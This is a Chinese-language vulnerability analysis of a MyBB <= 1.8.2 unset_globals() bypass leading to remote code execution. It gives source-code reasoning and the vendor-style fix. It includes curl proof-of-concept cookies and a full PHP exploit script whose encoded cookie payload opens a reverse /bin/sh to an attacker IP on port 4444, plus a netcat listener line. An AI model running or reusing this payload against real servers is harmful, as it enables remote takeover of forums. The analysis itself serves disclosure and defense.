MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability

catalogue

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

MyBB‘s unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.

Relevant Link:

https://cxsecurity.com/issue/WLB-2015120164
https://packetstormsecurity.com/files/134833/MyBB-1.8.2-Code-Execution.html
https://www.exploit-db.com/exploits/35323/

2. 漏洞触发条件

0x1: POC1

//php.ini配置
1. request_order = "GP"
2. register_globals = On
//remote code execution by just using curl on the command line
3. curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://30.9.192.207/mybb_1802/

PHP自动化验证脚本

<?php

// Exploit Title: MyBB <= 1.8.2 Reverse Shell Exploit
// Date: 15/12/2015
// Exploit Author: ssbostan
// Vendor Homepage: http://www.mybb.com/
// Software Link: http://resources.mybb.com/downloads/mybb_1802.zip
// Version: <= 1.8.2
// Tested on: MyBB 1.8.2

$target="http://localhost/mybb1802/index.php";
$yourip="ipaddress";
$ch=curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_COOKIE, "GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;");
curl_setopt($ch, CURLOPT_URL, $target);
curl_exec($ch);
curl_close($ch);

// nc -l 4444
// php mybb-1802-core-exploit.php

?>

0x2: POC2

//php.ini
1. disable_functions = ini_get
2. register_globals = On
//url
3. index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1

0x3: POC3

//php.ini配置
1. request_order = "GP"
2. register_globals = On
//url
curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php
//Works on disable_functions = ini_get and register\_globals = On:
css.php?shutdown_queries[]=SQL_Inj

3. 漏洞影响范围

MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15

4. 漏洞代码分析

\mybb_1802\inc\class_core.php

..
// If we‘ve got register globals on, then kill them too
/*
When PHP‘s register_globals configuration set on, MyBB will call unset_globals() function
all global variables registered by PHP from $_POST, $_GET, $_FILES, and $_COOKIE arrays will be destroyed.
这是MyBB做的一种安全机制，在每个PHP脚本请求的开始进行"超全局变量自动注册反向处理"，抵消可能出现的register_globals导致的安全问题
*/
if(@ini_get("register_globals") == 1)
{
    $this->unset_globals($_POST);
    $this->unset_globals($_GET);
    $this->unset_globals($_FILES);
    $this->unset_globals($_COOKIE);
}
..
/**
 * Unsets globals from a specific array.
 *
 * @param array The array to unset from.
 */
function unset_globals($array)
{
    if(!is_array($array))
    {
        return;
    }

    foreach(array_keys($array) as $key)
    {
        unset($GLOBALS[$key]);
        unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4
    }
}

这个逻辑看起来好像没问题，而且是出于安全方面的考虑进行了防御性处理，但是因为PHP内核的一些特性，导致unset_globals()函数的执行能够被绕过

1. 在正常情况下，通过GPC方式输入的变量，即使开启了register_globals，也会被自动进行unset $GLOBAL[$var]处理，这是MyBB自己实现了一套防御低版本PHP误开启register_globals = On的代码逻辑，这防御了本地变量覆盖的发生
2. 但是存在一个特殊的变量GLOBALS，$GLOBALS超全局数组是PHP内核负责创建维护的，我们可以在程序中任意位置读写$GLOBALS[‘key‘]，PHP内核绑定了$GLOBALS数组和global symbol table之间的连接
3. 如果黑客传入: foo.php?GLOBALS=1，则MyBB会执行unset($GLOBALS["GLOBALS"]);这会直接导致$GLOBALS和global symbol table之间的连接
4. 注意到MyBB源代码中这行代码
/*
\mybb_1802\inc\class_core.php
if(@ini_get("register_globals") == 1)
{
    ..
    $this->unset_globals($_COOKIE);
}
黑客注入的COOKIES为: GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1
则代码逻辑会按如下执行
1. unset($GLOBALS["GLOBALS"]);
2. 则之后的unset($GLOBALS["shutdown_functions"]);就会失效，因为此时绑定已经不存在了
*/
5. 此时已经绕过了MyBB原生的变量覆盖防御机制

需要注意的是，MyBB的防御框架里注意到了这个问题
\mybb_1802\inc\class_core.php

..
function __construct()
{
    // Set up MyBB
    $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
    foreach($protected as $var)
    {
        if(isset($_REQUEST[$var]) || isset($_FILES[$var]))
        {
            die("Hacking attempt");
        }
    }
    ..

MyBB的本意是阻止请求参数中出现GET/POST/GLOBALS这种可能影响全局变量参数的值，但是问题在PHP中的$_REQUEST也是一个超全局变量，它的值受php.ini影响，在PHP5.3以后，request_order = "GP"，也就是说，$_REQUEST只包括GET/POST中的参数，这直接导致了对COOKIES的敏感参数过滤失效，所以，黑客可以在COOKIES中放入变量覆盖攻击payload

GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;

稍微总结一下，这个利用前提条件有2种场景

1. MyBB <= PHP 5.3: request_order = "GP"
2. PHP 5.3 <= MyBB <= PHP 5.4: register_globals = On 

理解了变量覆盖发生的前提，下一步看攻击Payload是如何构造并触发本地变量覆盖的
\mybb_1802\inc\class_core.php

//class_core.php几乎是所有页面脚本都会调用到的文件，下面的析构函数会被频繁调用
function __destruct()
{
    // Run shutdown function
    if(function_exists("run_shutdown"))
    {
        run_shutdown();
    }
}

run_shutdown();
\mybb_1802\inc\functions.php

/**
 * Runs the shutdown items after the page has been sent to the browser.
 *
 */
function run_shutdown()
{
    //the $shutdown_functions was initialized via add\_shutdown() function in init.php
    //但是因为本地变量覆盖漏洞的存在，这里$shutdown_functions可以被劫持
    global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;

    if($done_shutdown == true || !$config || (isset($error_handler) && $error_handler->has_errors))
    {
        return;
    }
    ..
    // Run any shutdown functions if we have them
    if(is_array($shutdown_functions))
    {
        foreach($shutdown_functions as $function)
        {
            call_user_func_array($function[‘function‘], $function[‘arguments‘]);
        }
    }
    ..

Relevant Link:

http://0day.today/exploit/22913

5. 防御方法

\inc\class_core.php

class MyBB {
    ..
    function __construct()
    {
        // Set up MyBB
        $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
        foreach($protected as $var)
        {
            /*if(isset($_REQUEST[$var]) || isset($_FILES[$var]))*/
            if(isset($_GET[$var]) || isset($_POST[$var]) || isset($_COOKIE[$var]) || isset($_FILES[$var]))
            {
                die("Hacking attempt");
            }
        }
        ..

Relevant Link:

http://blog.mybb.com/2014/11/20/mybb-1-8-3-1-6-16-released-security-releases/
http://cn.313.ninja/exploit/22913

6. 攻防思考

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